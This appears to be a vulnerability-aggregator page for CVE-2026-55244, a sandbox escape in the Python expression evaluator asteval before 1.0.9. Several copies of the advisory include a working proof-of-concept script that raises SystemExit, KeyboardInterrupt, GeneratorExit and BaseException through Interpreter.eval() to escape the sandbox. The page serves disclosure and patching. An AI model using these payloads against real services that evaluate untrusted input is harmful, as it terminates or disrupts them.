Every CVE Search/ Get API key

CVE-2026-55244

ASTEVAL: Sandbox Escape via BaseException Subclasses

5.0 MediumFix available

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.18%Unchanged since Sep 15, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.0

ASTEVAL: Sandbox Escape via BaseException Subclasses

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Record
CVE-2026-55244
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
EUVDEUVD-2026-78058 5.0

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Record
EUVD-2026-78058
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-89v8-rhwq-hf77 5.0

asteval has a Sandbox Escape via BaseException Subclasses

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.


Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 — run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.


Proof of Concept

from asteval import Interpreter

# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world…

Record
GHSA-89v8-rhwq-hf77
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
NVD 5.0

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Record
CVE-2026-55244
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
OSV 5.0

ASTEVAL: Sandbox Escape via BaseException Subclasses

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Record
CVE-2026-55244
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
OSVDEBIAN-CVE-2026-55244 5.0

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Record
DEBIAN-CVE-2026-55244
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 4 moreShow less
OSVGHSA-89v8-rhwq-hf77 5.0

asteval has a Sandbox Escape via BaseException Subclasses

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.


Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 — run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.


Proof of Concept

from asteval import Interpreter

# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world…

Record
GHSA-89v8-rhwq-hf77
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-248
Updated
2026-11-02
OSVPYSEC-2026-3807 5.0

asteval has a Sandbox Escape via BaseException Subclasses

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.


Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 — run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.


Proof of Concept

from asteval import Interpreter

# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world…

Record
PYSEC-2026-3807
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-55244 5.0

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

Record
UBUNTU-CVE-2026-55244
CVSS 3.1
5.0 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVopenSUSE-SU-2026:11420-1 No score

python313-asteval-1.0.9-1.1 on GA media

These are all security issues fixed in the python313-asteval-1.0.9-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11420-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
asteval
PyPI
before 1.0.9
1.0.9
python-asteval
Debian:12
All versions, plus listed versions
0.9.28-10.9.30-10.9.31-11.0.6-11.0.6-2
None known
python-asteval
Debian:13
All versions, plus listed versions
1.0.6-2
None known
python-asteval
Debian:14
All versions, plus listed versions
1.0.6-2
None known
asteval
PyPI
before 1.0.9, plus listed versions
0.90.9.10.9.100.9.110.9.12
Show 38 moreShow less
0.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.40.9.50.9.60.9.70.9.80.9.91.0.01.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.8
1.0.9
python-asteval
Ubuntu:20.04:LTS
All versions, plus listed versions
0.9.12-10.9.12-20.9.17-1
None known
python-asteval
Ubuntu:22.04:LTS
All versions, plus listed versions
0.9.19-20.9.25-2
None known
python-asteval
Ubuntu:24.04:LTS
All versions, plus listed versions
0.9.30-10.9.31-1
None known
python-asteval
Ubuntu:26.10
All versions, plus listed versions
1.0.6-2
None known
python-asteval
Ubuntu:26.04:LTS
All versions, plus listed versions
1.0.6-2
None known
python-asteval
openSUSE:Tumbleweed
before 1.0.9-1.1
1.0.9-1.1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55244 is a medium vulnerability (CVSS 5.0) in Lmfit Asteval, published August 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in asteval 1.0.9.

References

Show 9 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open